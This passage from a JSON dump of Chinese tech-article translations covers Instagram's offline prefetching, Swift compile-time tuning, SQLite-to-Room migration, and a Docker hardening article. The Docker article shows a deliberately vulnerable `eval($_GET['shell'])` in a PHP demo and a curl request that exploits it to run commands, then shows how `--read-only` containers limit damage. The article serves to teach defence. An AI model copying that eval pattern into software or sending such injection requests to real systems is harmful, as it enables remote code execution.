是否能依旧表现出色，这个问题变得越来越重要。来自纽约的客户端性能优化团队正在致力于使 Instagram 变得更流畅，性能更强大，让来自任何地区的任意用户都能有较好的体验。\n\n具体而言，我们团队的工作重点是在不浪费任何网络和硬盘资源的情况下，做即时的内容分发。最近我们决定着重研发高效的后台数据预获取技术，通过这项技术，可以让 Instagram 在网络不可用或用户流量套餐受限的情况下依然能正常使用。\n\n### 遇到的问题\n\n#### **网络可用性**\n\n![](https://cdn-images-1.medium.com/max/800/1*PBdWAki8iEpmu9td-oZmuQ.png)\n\n世界上大部分地区的网络质量都不容乐观。我们的数据科学家 Michael Midling 绘制出了上方这张地图来表示世界上不同国家地区使用 Instagram 的平均网络带宽。深绿色的区域，比如加拿大，有约 4+Mbps 的带宽。相比较而言，像印度这种浅绿色的区域，就只有 1Mbps 的平均带宽。\n\n当用户打开 Instagram，开始查看分享内容或者滑动浏览 feed 时，我们不能假设这些媒体资源都是可用的。如果你想在印度开发一款流畅的媒体应用，由于他们的网络不够发达且网络传输延迟可能高达 2 秒以上，所以你需要使用不一样的数据加载策略而不是实时加载数据。如果我们希望每个人都能畅通无阻地访问 Instagram，浏览来自亲密的朋友和兴趣列表中的视频和图片，那么我们必须能够应付不同的网络带宽速率。创造能适应所有这些网络情况的应用是一种挑战。\n\n#### **手机网络敏感**\n\n我们的一个解决方案是将用户的网络类型写到我们的日志系统中。这样，我们便可以观察不同网络类型用户的使用情况，来帮助我们适配。我们努力做到适配每个人的数据流量套餐并最大化免费网络连接的数据传输。\n\n![](https://cdn-images-1.medium.com/max/800/1*faugldkdFzZnbSLPJ_QZug.png)\n\n上图展示了全球的用户是通过什么网络来访问我们的应用。比如在印尼，当人们的流量套餐快要用完时，他们会切换 SIM 卡，然后主要使用蜂窝网访问。但是，在巴西，人们大部分时间都是通过 wifi 来访问我们的应用的。\n\n#### **网络连接失败**\n\n![](https://cdn-images-1.medium.com/max/800/1*FbEns6UiItiTeigVAkjLww.png)\n\n如果网络连接全部都失败了会怎么样？之前，我们会将未获取到的图片、视频显示为灰色的方块，希望用户在网络情况变好时回来重试。但是这样体验不好。\n\n![](https://cdn-images-1.medium.com/max/600/1*l3QwYVR5cIdtuRlhqpo3mA.png)\n\n分散的网络连接和蜂窝网络拥塞都是我们关心的问题。当用户处于上方地图中带宽较低的浅绿色区域时，我们需要想出一个办法来减小或消除用户的加载等待时间。\n\n我们的目标是让用户对于网络连接断开无感知，但是对于此并没有找到一个通用的解决方案。为了满足不同网络条件和使用场景下的离线体验，我们提出了如下几种解决方案。\n\n### 解决方案\n\n我们提出了一系列的解决策略。首先，我们将重点放在构建离线模式的用户体验。从中，我们实现了从磁盘获取数据进行内容分发的技术，使得数据就好像是从网络获取的一样。其次，利用这个缓存架构，我们建立了一个中心化的后台数据预获取框架，用预获取的未展现数据来填充该缓存。\n\n#### **离线体验的原则**\n\n通过数据分析和用户调研，我们提出了一些能代表主要痛点和地区的改进原则：\n\n1. 离线是一种状态，而不是错误\n2. 离线体验应该是无感知的\n3. 通过明确的沟通来建立信任\n\n你可以看到上述原则是如何在下方视频中体现的:\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/fFH4MSrjcrY\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n#### **应用是否可用与网络无关**\n\n利用存储的请求数据以及图片、视频的缓存，当网络不可用时，我们依旧可以将内容呈现到用户的屏幕上，相当于模仿了一次成功的网络请求。\n\n我们有 3 个主要组件：设备屏幕、组成 HttpRequests 的设备网络层和负责向服务器端发送网络请求的设备网络引擎。\n\n实现了从磁盘中获取数据的技术后，在高速增长的市场下，我们发现用户使用 Instagram 的体验得到了提升。我们认为与其让用户看到白屏和灰色方块，不如让用户能看到之前的内容，这样的体验应该会更好，基于此才决定将网络请求数据缓存到本地。但是，最理想的方案仍然是展现最新的内容。这就是后台数据预获取技术的由来。\n\n### 架构\n\n在 Instagram，有一句工程师口号是“从最简单的做起”，所以第一步并不是做一个完美的后台数据预获取框架。而是，当 app 在后台运行且仅在手机连着 wifi 时去做数据预获取。BackgroundPrefetcher 程序循环遍历任务列表并依次执行。\n\n这样的首个原型程序可以做到：\n\n1. 循环预取各种内容数据\n2. 从用户体验的角度去分析向用户呈现最新的媒体内容缓存的实际效果\n3. 以此作为基准去评测最终框架（的稳定性）\n\n```\npublic void registerJob(Runnable job) {\n  mBackgroundJobs.add(job);\n}\n@Override\npublic void onAppBackgrounded() {\n  if (NetworkUtil.isConnectedWifi(AppContext.getContext())) {\n    while (!mBackgroundJobs.isEmpty()){   \n    mSerialExecutor.execute(mBackgroundJobs.poll());\n  }\n }\n}\n```\n\n现实情况是，apps 是很复杂的，同时用户也是多种多样的！你必须很仔细地分析用户的使用习惯，才能决定到底去预获取什么类型的媒体内容。比如，一些用户会比其他人更加频繁地使用某个功能。\n\n我们的主页包含缤纷多彩的内容，从热门分享到个人分享应有尽有。我们也可以预获取 feed 中的图片和视频、待处理的消息、搜索的内容以及最近的通知。就我们的情况而言，我们决定从简单的开始，只去提前获取你搜索的内容、热门分享和首页 feed。\n\n构建一个可以灵活地适应不同使用场景的中心化架构有利于保持高效且方便扩容。\n\n除了做到在 app 后台运行时，通过我们的框架去调度任务自动预获取数据之外，我们还在 app 的顶部添加了额外的逻辑。将数据预获取逻辑集中到一个点上，让我们能够对其设置规则并验证其是否满足某些条件，比如：\n\n* 控制网络连接类型 -> 不计费的\n* 任务停止 -> 如果条件变化或 app 在前台运行，我们要能够停止正在进行的后台数据预获取任务\n* 合并请求，在 2 次会话之间找到最佳时间仅做一次数据预获取\n* 指标收集 -> 所有的任务完成需要花费多长时间？调度运行后台数据预获取任务的成功率是多少？\n\n#### **工作流**\n\n![](https://cdn-images-1.medium.com/max/800/1*3HPnnJvGFatk5R-nwL942A.png)\n\n让我们来看看后台数据预获取策略在安卓系统上的工作流程：\n\n* 当 main activity 启动时（即 app 在前台运行），我们将 BackgroundWifiPrefetcherScheduler 实例化，同时激活即将被运行的一类任务。\n* 这个对象将它自身注册为一个 BackgroundDetectorListener。在上下文中，我们实现了这样的代码结构，每当 app 进入后台运行时都会发送通知，这样我们便可以在 app 进程被杀死前做一些事情（比如将分析数据发送到服务器）。\n* 当 BackgroundWifiPrefetcherScheduler 收到通知时，它会调用我们自己写的 AndroidJobScheduler 来对后台数据预获取任务进行调度。JobInfo 参数会被传入，该参数包含了这些信息：需要启动哪些服务以及启动这个任务需要满足哪些条件。\n\n我们的主要条件是延迟和不计费的网络连接。针对 Android 系统，其他一些条件也要被考虑进来，比如省电模式是否开启。我们已经测试了不同程度的延迟，并仍在努力提供个性化的服务体验。现阶段，我们在 2 次会话之间仅做一次后台预获取数据。当 app 进入后台运行时，到底应该在什么时刻运行这个任务，为了找到这个最佳时间，我们计算了用户每次打开会话的平均间隔时间（用户访问 Instagram 的频率是多少？），并使用标准差去除异常值（比如，一个频繁使用 Instagram 的用户的睡眠时间不应该被计算在内）。我们的目标是恰好在平均时间之前开始数据预获取。\n\n* 在这个时间点后，程序会检查网络连接是否满足条件（不计费/wifi）。如果满足，BackgroundPrefetcherJobService 将会启动。如果不满足，BackgroundPrefetcherJobService 的启动会被挂起直到条件满足。（且当手机未处于省电模式下）\n* BackgroundService 将创建一个 serialExecutor 通过串行方式运行每一个后台任务。当然，在收到了 http 请求响应后，我们会以异步的方式去预获取媒体数据。\n* 在所有任务完成后，我们会向操作系统发送一个通知，告知其我们的进程可以被杀死了，这样一来可以延长内存/电池的使用寿命。在 Android 系统中，杀死这些正在运行的服务是很重要的，使得那些不会再被使用的内存资源得以释放。\n\n所有这些工作都是用户级别的。程序要能够处理用户注销或切换身份的情况。如果用户注销了，我们会停止调度的任务以避免它们做一些没必要的服务启动工作。\n\n#### **IgJobScheduler**\n\n针对安卓，我们具体做了如下几点:\n\n1. 寻找一种高效的后台任务调度方法，让我们能够在会话中将数据持久化并指定网络连接需求。\n2. 在 Lollipop（安卓在 2014 年发布的操作系统）之前，Android 的 API 还不支持 JobScheduler 接口，所以我们分析了有多少用户的安卓手机系统是低于此版本的。这是一个我们无法绕过的问题......对于这些用户，我们需要开发一个兼容的版本。\n3. 寻找一个适用于低版本安卓系统的现有开源解决方案去调度任务。尽管我们找到了很多优秀的第三方库，但是它们都不适用于我们的场景，因为它们会依赖 Google Play Service。根据现有情况，我们认为 APK 的大小是 Instagram 能维持排行榜第一的主要因素。\n4. 最后，我们为 Android JobScheduler APIs 创造了一套可定制的高性能兼容解决方案。\n\n#### **评测**\n\n在 Instagram，我们是数据驱动的，对于我们研发的每个系统，都会严格地评估它的影响。这也就是为什么我们在设计后台数据预获取框架的同时，也会思考应该收集什么样的指标才能得到正确的反馈。\n\n事实是，中心化的架构也有利于收集更高层次的指标。能够准确地评估利弊，知道有多少预获取的数据字节被浪费了或者能分析是什么造成了全局 CPU 的波动，这些都是很重要的。\n\n![](https://cdn-images-1.medium.com/max/800/1*IBawymkWEafmzIQY1y8uNg.png)\n\n我们通过网络请求策略给每个网络请求打上标签来标识其行为和类型，这十分有用。它已经被内置到 app 中了，但是我们利用它来切分我们的指标。我们将请求策略关联到发出的 http 请求上，并标出它是否是预获取数据的请求。另外，请求策略还会给每个网络请求打上类型标签。请求的类型可以为图片、视频、API 和分析数据等等。这可以帮助我们：\n\n* 设置请求优先级\n* 通过全局 CPU 使用率曲线、数据使用情况和缓存利用率等这些维度，更好地对系统做分析和权衡\n\n```\n/**\n * 网络请求策略中的 Behavior 枚举类描述了被标记的请求返回数据是否需要渲染到屏幕上（比如预获取数据的请求就不需要立刻渲染）\n */\npublic enum Behavior {\n Undefined(-1),\n OffScreen(0),\n OnScreen(1),\n ;\n int weight;\n Behavior(int weight) {\n  this.weight = weight;\n }\n}\n```\n\n上方展示了 Android 源码中 requestPolicy 类的一部分代码片段。我们将一个请求标注为“on screen”，就意味着用户正在等待该请求的返回数据。有约大于 1% 的 offScreen 的请求返回的数据不会与用户交互。\n\n#### **高效缓存日志**\n\n我们希望知道有多少预获取的字节被真正使用到了，所以我们对缓存中的数据的使用情况做了调研。我们构建了整个缓存日志系统，它满足以下几点：\n\n* 系统可扩展。能支持通过 API 新增缓存实例。\n* 系统是健壮的，可以支持容错。能够忍受缓存失效（没有日志记录）或者某些时刻数据不一致的情况。\n* 系统是可靠的。在会话之间可以持久化数据。\n* 写日志时，使用最小的磁盘空间和最低的延迟。缓存的读/写经常发生，所以我们需要将其开销限制到最小。缓存读/写时的日志记录可能会带来更多的崩溃和更高的延迟。\n\n![](https://cdn-images-1.medium.com/max/800/1*JVMxN09z3NE43Ev8tOvyUQ.png)\n\n我们也想知道，当新增一个后台数据预获取请求时，到底有多少数据被使用了。我们在手机上有一个分层的基础网络引擎，正如之前所说的，每个网络请求都被附加了一个 requestPolicy。这让我们能够很轻松地追踪 app 中的数据使用情况以及观察下载图片、视频和 JSON 数据等到底消耗了多少流量。\n\n同时，我们也想分析对比在 wifi 和蜂窝网下的数据使用分布情况。这使得我们有可能针对不同网络连接尝试不同的数据预获取模式。\n \n#### **其他好处**\n\n后台数据预获取技术除了可以消除对网络可用性的依赖以及降低蜂窝网的流量使用，还有什么其他的好处么？如果我们减少了大量的请求，那么我们便降低了整体的网络阻塞。通过合并未来的请求，我们可以节省开销和延长电池寿命。\n\n#### **防止 CPU 曲线波动**\n\n在研发后台数据预处理程序之前，我们就考虑到了它可能造成全局 CPU 使用率升高这一潜在风险。\n\nCPU 使用率怎么会升高呢？请看下面这个例子。假设有一个获取 Instagram 热门 feed 的接口。每次用户 A 打开 Instagram 获取第一页的最新 feed 时，他的设备便会请求一次该接口。这个接口会做一些 CPU 密集型操作，比如排序和根据用户选择的条件进行内容分类。如果在每次用户打开 Instagram 的时候去做后台数据预获取，便会增加 CPU 负载，没错吧？\n\n为了最小化服务端的 CPU 使用率波动，在第一版的后台数据预获取系统中，内容推荐团队的工程师 Fei Huang 为我们新开了一个接口地址。这个接口只获取前20条没有被显示的新分享内容。\n\n### 结论\n\n这是我们构建系统时的工作流程。我们小组不会将 API 开放给其他工程师直到我们能确保框架的质量且用户能从中受益。\n\n随着越来越多的人加入 Instagram，这项工作只会变得越来越重要。我们期望能不断提升 Instagram 的效率和性能，从而使世界各地的人都能畅快无阻地使用 Instagram。\n\n_Lola Priego 是一位来自 Instagram 纽约地区客户端性能优化团队的工程师。_\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/improving-swift-compile-times.md",
    "content": "> * 原文地址：[Improving Swift compile times](https://medium.com/@johnsundell/improving-swift-compile-times-ee1d52fb9bd#.hfqaeq76p)\n* 原文作者：[John Sundell](https://medium.com/@johnsundell?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[atuooo](http://atuo.xyz)，[1992chenlu](https://github.com/1992chenlu)\n\n# 优化 Swift 的编译时间\n\n在 Swift 所有的特性中，有一件事有时会相当恼人，那就是在用 Swift 编写更大规模的项目时，它**一般**会编译多久。尽管 Swift 编译器在保证运行时安全方面做的更多，但是它的编译时间要比 Objective-C 编译时间长很多。（所以）我想研究一下，是否我们可以帮助编译器让他工作的更快。\n\n所以，上周我投身于 [Hyper](http://www.hyper.no) 上的一个较大的 Swift 项目。它大概有 350 个源文件以及 30,000 行的代码。最后我设法将这个项目的平均构建时间减少了 [20%](https://twitter.com/johnsundell/status/837318595973611521)。所以我想在我这周的博客上详细的介绍我是怎么做的。\n\n现在，在我们开始之前，我只想说**我不想这篇文章以任何形式的方式来批判 Swift 或它的团队工作**。我知道 Swift 编译器的开发者，包含 Apple 公司和开源社区，都在持续地对编译器速度、功能和稳定性做出重大改进。希望这篇博文能随着时间的流逝而显得多余，但在那之前，我只是想提供一些我发现可以提升编译速度的实用技巧。\n\n#### Step 1: 采集数据\n\n在开始优化工作之前，建立一个能衡量你改进的基准总是好的。我是通过在 Xcode 里，给应用的 target 添加两个简单的脚本作为**运行脚本阶段**来实现的。\n\n在**编译源文件**之前，添加下面的脚本：\n\n```\necho \"$(date +%s)\" > \"buildtimes.log\"\n```\n\n在最后，添加这个脚本：\n\n```\nstartime=$(<buildtimes.log)\nendtime=$(date +%s)\ndeltatime=$((endtime-startime))\nnewline=$'\\n'\n\necho \"[Start] $startime$newline[End] $endtime$newline[Delta] $deltatime\" > \"buildtimes.log\"\n```\n\n现在，这个脚本只会测算编译器编译**应用自己的源文件**的时间（为了测量出整个引用的编译时间，你可以使用 Xcode 的特性来挂载(hook)到 **Build Starts** 和 **Build Succeeds** 上）。由于编译时间非常依赖于编译它的设备，所以我也 **git ignored 了 buildtimes.log 文件**。\n\n接下来，我想突出哪些个别代码块耗费了额外的长时间来编译，以便识别瓶颈，这样我就可以修复它。要做到这个，只需要通过向 Xcode 中 Build Setting 里的 **Other Swift Flags** 传递下面的参数给 Swift 编译器来设置一个临界值：\n\n```\n-Xfrontend -warn-long-function-bodies=500\n```\n\n使用上面的参数后，在你的项目中，如果有任何函数耗费了超过 500 毫秒的编译时间，你就会得到一个警告。这是我开始设置的临界值（并且随着我对更多瓶颈的修复，这个值在不断的降低）。\n\n#### Step 2: 消除所有的警告\n\n在设置了函数编译时间过长的警告之后，你可能会在项目中开始发现一些。最开始，你会觉得编译时间过长的函数是随机的，但是很快模式（patterns）就开始出现了。这里我注意到了两个使 Swift 3.0 编译器编译函数时间过长的常见模式：\n\n**自定义运算符（特别是带有通用参数的重载）**\n\n当 Swift 出现时，对于大多数 iOS 和 macOS 开发者来说，运算符重载是全新的概念之一，但就像许多新鲜事物一样，我们很兴奋的使用它们。现在，我不打算在这讨论自定义或重载运算符是好是坏，但它们的确对编译时间有很大影响，尤其是如果使用更加复杂的表达式。\n\n思考下面的运算符，它将两个 **IntegerConvertible** 类型的数字加起来，构成了自定义的数字类型：\n\n```\nfunc +<A: IntegerConvertible,\n       B: IntegerConvertible>(lhs: A, rhs: B) -> CustomNumber {\n    return CustomNumber(int: lhs.int + rhs.int)\n}\n```\n\n然后我们用它来让几个数字相加：\n\n```\nfunc addNumbers() -> CustomNumber {\n    return CustomNumber(int: 1) +\n           CustomNumber(int: 2) +\n           CustomNumber(int: 3) +\n           CustomNumber(int: 4) +\n           CustomNumber(int: 5)\n}\n```\n\n看上去很简单，但是上面的 **addNumbers()** 函数会花费很长一段时间来编译（在我 2013 年的 MBP 上超过 **300 ms**）。对比一下，如果我们用协议扩展来实现相同逻辑：\n\n```\nextension IntegerConvertible {\n    func add<T: IntegerConvertible>(_ number: T) -> CustomNumber {\n        return CustomNumber(int: int + number.int)\n    }\n}\n\nfunc addNumbers() -> CustomNumber {\n    return CustomNumber(int: 1).add(CustomNumber(int: 2))\n                               .add(CustomNumber(int: 3))\n                               .add(CustomNumber(int: 4))\n                               .add(CustomNumber(int: 5))\n}\n```\n\n通过这个改变，我们的 **addNumbers()** 函数现在编译时间**不到 1 ms**。**这快了 300 倍！**\n\n所以，如果你大量的使用了自定义/重载运算符，特别是带有通用参数的（或者如果你使用的第三方库来做这些，比如许多自动布局的库），考虑一下用普通函数、协议扩展或其他的技术来重写吧。\n\n**集合字面量**\n\n另一个我发现的编译时间瓶颈是使用集合字面量，特别是编译器需要做很多工作来推断那些字面量的类型。让我们假设你有一个函数，它要把模型转换成一个类似 JSON 的字典，像这样：\n\n```\nextension User {\n    func toJSON() -> [String : Any] \n        return [\n            \"firstName\": firstName,\n            \"lastName\": lastName,\n            \"age\": age,\n            \"friends\": friends.map { $0.toJSON() },\n            \"coworkers\": coworkers.map { $0.toJSON() },\n            \"favorites\": favorites.map { $0.toJSON() },\n            \"messages\": messages.map { $0.toJSON() },\n            \"notes\": notes.map { $0.toJSON() },\n            \"tasks\": tasks.map { $0.toJSON() },\n            \"imageURLs\": imageURLs.map { $0.absoluteString },\n            \"groups\": groups.map { $0.toJSON() }\n        ]\n    }\n}\n```\n\n上面 **toJSON()** 函数在我的电脑上大概要 **500 ms** 的时间来编译。现在让我们试着逐行重构这个像字典的东西来代替字面量：\n\n```\nextension User {\n    func toJSON() -> [String : Any] {\n        var json = [String : Any]()\n        json[\"firstName\"] = firstName\n        json[\"lastName\"] = lastName\n        json[\"age\"] = age\n        json[\"friends\"] = friends.map { $0.toJSON() }\n        json[\"coworkers\"] = coworkers.map { $0.toJSON() }\n        json[\"favorites\"] = favorites.map { $0.toJSON() }\n        json[\"messages\"] = messages.map { $0.toJSON() }\n        json[\"notes\"] = notes.map { $0.toJSON() }\n        json[\"tasks\"] = tasks.map { $0.toJSON() }\n        json[\"imageURLs\"] = imageURLs.map { $0.absoluteString }\n        json[\"groups\"] = groups.map { $0.toJSON() }\n        return json\n    }\n}\n```\n\n它现在编译时间大概在 **5 ms** 左右，**提高了 100 倍！**\n\n#### Step 3: 结论 ####\n\n上面的两个例子非常清晰的说明了 Swift 编译器的一些新特性，比如类型推演和重载，都是付出了时间开销。如果我们仔细思考一下，也很符合逻辑。由于编译器不得不做更多的工作来执行推演，所以花费了更多的时间。但是我们也看到了，如果我们稍微调整一下我们的代码，帮助编译器更简单的解决表达式，我们就可以很大程度的加快编译时间。\n\n现在，我不是说你要一直让编译时间来决定你写代码的方式。有时可以让它做更多的工作，让你的代码更加清晰并且容易理解。但是在大型的项目中，每个函数要用 300-500 ms 范围（或更多）的时间来编译的编码技术可能很快就会成为一个问题。我的建议是对你的编译时间保持监控，使用上面的编译标记设置一个合理的临界值，并在发现问题的时候解决问题。\n\n我确信上面的例子肯定没有涵盖所有潜在的编译时间改进的方法，所有我很愿意听到你的意见。如果你有任何有用的改进大型 Swift 项目编译时间的其他的技术，你可以写在 Medium 上回复，或者在 [**Twitter @johnsundell**](https://twitter.com/johnsundell) 上联系我。\n\n感谢阅读！🚀\n"
  },
  {
    "path": "TODO/increasing-attacker-cost-using-immutable-infrastructure.md",
    "content": "> * 原文地址：[Increasing Attacker Cost Using Immutable Infrastructure](https://diogomonica.com/2016/11/19/increasing-attacker-cost-using-immutable-infrastructure/)\n* 原文作者：[Diogo Mónica](https://diogomonica.com/author/diogo/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Airmacho](https://github.com/Airmacho)\n* 校对者：[sqrthree](https://github.com/sqrthree), [marcmoore](https://github.com/marcmoore), [xiaoheiai4719](https://github.com/xiaoheiai4719)\n\n## 用不可变的基础设施提高攻击者的攻击成本\n\nDocker 容器的一个便捷之处在于它们是不可变的。Docker 附带一个写入时复制的文件系统，意味着基础镜像不能被修改，除非你显式地发布一个提交。\n\n这么便利的原因之一是，你很容易检查出被修改的地方，如果试图调查一个安全事件，这可能会派上用场。\n\n## Demo 应用\n\n以这个 demo 基础设施举例来说：\n\n![](https://diogomonica.com/content/images/2016/09/Security-@Scale-diagrams.png)\n\n我们有一个 [PHP 应用](https://github.com/diogomonica/apachehackdemo)作为前端，用 MYSQL 服务器作为我们的后端数据库，你可以在家试试跑一下命令：\n\n~~~\n➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb\n➜ docker run -d -p 80:80 --link db:db diogomonica/phphack\n~~~\n\n现在你的数据库和前端都已经启动起来了，你可以在浏览器看到类似这样的欢迎语：\n\n![](https://diogomonica.com/content/images/2016/09/Screenshot-2015-06-03-17-31-26-1.png)\n\n不幸的是，像其他的 PHP 应用一样，这个应用有远程代码执行的漏洞：\n\n    if($links) {  \n    Links found  \n    ... \n    eval($_GET['shell']);  \n    ?>\n\n看起来某些人正在不应该使用`eval`的地方使用`eval` ！任何攻击者都可能发现这个漏洞，并在远程机器上执行任意命令：\n\n    ➜ curl -s http://localhost/\\?shell\\=system\\(\"id\"\\)\\; | grep \"uid=\"\n    uid=33(www-data) gid=33(www-data) groups=33(www-data)  \n\n攻击者对刚被攻破的主机的第一个动作是通过下载 PHP 的 Shell 和其他工具包让自己反客为主。有些攻击者甚至可能会改写你的网站：\n\n\n\n![](https://diogomonica.com/content/images/2016/09/Screenshot-2016-09-03-20-36-55.png)\n\n## 从被 hack 恢复\n\n回到不可变性，写入时复制的文件系统提供的一个很酷的特性就是可以看到发生的所有更改。通过使用`docker diff`命令，我们可以看到攻击者修改文件的详情：\n\n    ➜ docker diff pensive_meitner\n    C /run  \n    C /run/apache2  \n    A /run/apache2/apache2.pid  \n    C /run/lock  \n    C /run/lock/apache2  \n    C /var  \n    C /var/www  \n    C /var/www/html  \n    C /var/www/html/index.html  \n    A /var/www/html/shell.php  \n\n很有趣。攻击者似乎不仅修改了我们的`index.html`，还下载了一个 php-shell，简单地将其命名为`shell.php`。但我们的关注点应该是让网站重新上线。\n\n我们可以通过`docker commit`命令存储这个镜像，供以后参考，并且由于容器是不可变的（🎉），我们可以重新启动我们的容器，现在所有都恢复了：\n\n    ➜ docker commit pensive_meitner\n    sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3  \n    ➜ docker kill pensive_meitner\n    ➜ docker run -d -p 80:80 --link db:db diogomonica/phphack\n\n![](https://diogomonica.com/content/images/2016/09/backinbiz.png)\n\n我们现在可以回到存储的镜像，看攻击者修改了什么：\n\n    ➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh\n    # cat index.html\n    HACKED BY SUPER ELITE GROUP OF HACKERS  \n    # cat shell.php\n\n看起来我们被著名的 SUPER ELITE GROUP OF HACKERS 攻击了。¯\\_(ツ)_/¯\n\n## 提高攻击者的成本\n\n被攻击后可以看到容器里的改变很有意义，但是如果我们可以第一时间就避免被攻击呢？这就是`--read--only`发挥用处的地方了。\n\n`--read-only`这个参数可以限制 Docker 不允许写入容器的文件系统。这就避免了任何对`index.php`的修改，更重要的是，它不允许攻击者下载 PHP shell 或者其他的攻击者想用的工具\n\n让我们试下修改，看会发生什么：\n\n    ➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack\n    ...\n    172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] \"GET / HTTP/1.1\" 200 219518 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\"  \n    sh: 1: cannot create index.html: Read-only file system  \n\n既然我们的文件系统现在是只读的了，似乎攻击者想要修改我们`index.html`文件的企图破灭了。😎\n\n## 这就刀枪不入了吗？\n\n不，绝对不是。除非我们能修复这个 RCE 漏洞，否则攻击者仍然能在我们的主机上执行代码，窃取我们的凭证，泄漏我们数据库中的数据。\n\n配合运行[最小化镜像](https://hub.docker.com/_/alpine/)和一些很酷的[ Docker 安全特性](https://www.delve-labs.com/articles/docker-security-production-2/)，你可以使攻击者继续骚扰并占用你的网络变得**更**难。\n\n## 结论\n\n我们的应用程序的安全性从来就不完美，但通过不可变的基础设施协助完成事件响应，实现快速恢复，可以加大攻击者的难度。\n\n如果用一个强大的沙盒并且调整几个旋钮就可以让你的应用更加安全，为什么不这样做呢？🐳\n\n\n\n"
  },
  {
    "path": "TODO/incrementally-migrate-from-sqlite-to-room.md",
    "content": "> * 原文地址：[Incrementally migrate from SQLite to Room](https://medium.com/google-developers/incrementally-migrate-from-sqlite-to-room-66c2f655b377)\n> * 原文作者：[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/incrementally-migrate-from-sqlite-to-room.md](https://github.com/xitu/gold-miner/blob/master/TODO/incrementally-migrate-from-sqlite-to-room.md)\n> * 译者：[IllllllIIl](https://github.com/IllllllIIl)\n> * 校对者：[tanglie1993](https://github.com/tanglie1993), [jaymz1439](https://github.com/jaymz1439)\n\n# 从 SQLite 逐步迁移到 Room\n\n![](https://cdn-images-1.medium.com/max/2000/1*zoWpyj2lq7EpWiRuIhBwuQ.png)\n\n通过可管理的 PR 将复杂的数据库迁移到 Room\n\n你已经听说过 Room 了吧 —— 或许你已经看过[文档](https://developer.android.com/topic/libraries/architecture/room.html)，看过[一个](https://www.youtube.com/watch?v=H7I3zs-L-1w)或[两个](https://youtu.be/DeIKyVfCvC0)视频，并且决定开始整合 Room 到你的项目中。如果你的数据库只有几张表和简单查询的话，你可以很容易地跟着下面这 7 个步骤，通过较小改动的类似 pull request 操作迁移到 Room。\n\n- [**7 Steps To Room**: A step by step guide on how to migrate your app to Room medium.com](https://medium.com/google-developers/7-steps-to-room-27a5fe5f99b2)\n\n不过，如果你的数据库较大或者有复杂的查询操作的话，实现所有 entity 类，DAO 类，DAO的测试类并且替换 `SQLiteOpenHelper` 的使用就会耗费很多时间。你最终会需要一个大改动的 pull request，去实现这些和检查。让我们看看你怎么通过可管理的 PR（pull request），逐步从 SQLite 迁移到 Room。 \n\n#### 文长不读的话，可以看下面的概括点：\n\n> **第一个 PR**：创建你的 **entity** 类，**RoomDatabase**，并且更新你自定义的  SQLiteOpenHelper 为 [**SupportSQLiteOpenHelper**](https://developer.android.com/reference/android/arch/persistence/db/SupportSQLiteOpenHelper.html)。\n\n> **其余的 PR**：创建 DAO 类去代替有 Cursor 和 ContentValue 的代码。\n\n### 项目设置\n\n我们考虑有以下这些情况：\n\n* 我们的数据库有 10 张表，每张有一个相应的 model 对象。例如，如果有 users 表的话，我们有相应的 User 对象。\n* 一个继承自 `SQLiteOpenHelper` 的 `CustomDbHelper`。\n* `LocalDataSource` 类，这个是通过 `CustomDbHelper` 访问数据库的类。\n* 我们有一些对 `LocalDataSource` 类的测试。\n\n### 第一个 PR\n\n你第一个 PR 会包含设置 Room 所需的最小幅度改动操作。\n\n#### 创建 entity 类\n\n如果你已经有每张表数据的 model 对象类，就只用添加 [`@Entity`](https://developer.android.com/reference/android/arch/persistence/room/Entity.html)， [`@PrimaryKey`](https://developer.android.com/reference/android/arch/persistence/room/PrimaryKey.html) 和 [`@ColumnInfo`](https://developer.android.com/reference/android/arch/persistence/room/ColumnInfo.html) 的注解。\n\n```\n+ @Entity(tableName = \"users\")\n  public class User {\n\n    + @PrimaryKey\n    + @ColumnInfo(name = \"userid\")\n      private int mId;\n\n    + @ColumnInfo(name = \"username\")\n      private String mUserName;\n\n      public User(int id, String userName) {\n          this.mId = id;\n          this.mUserName = userName;\n      }\n\n      public int getId() { return mId; }\n\n      public String getUserName() { return mUserName; }\n}\n```\n\n#### 创建 Room 数据库\n\n创建一个继承 [`RoomDatabase`](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.html) 的抽象类。在 [`@Database`](https://developer.android.com/reference/android/arch/persistence/room/Database.html) 注解中，列出所有你已创建的 entity 类。现在，我们就不用再创建 DAO 类了。\n\n更新你数据库版本号并生成一个 Migration 对象。如果你没改数据库的 schema，你仍需要生成一个空的 Migration 对象让 Room 保留已有的数据。\n\n\n```\n@Database(entities = {<all entity classes>}, 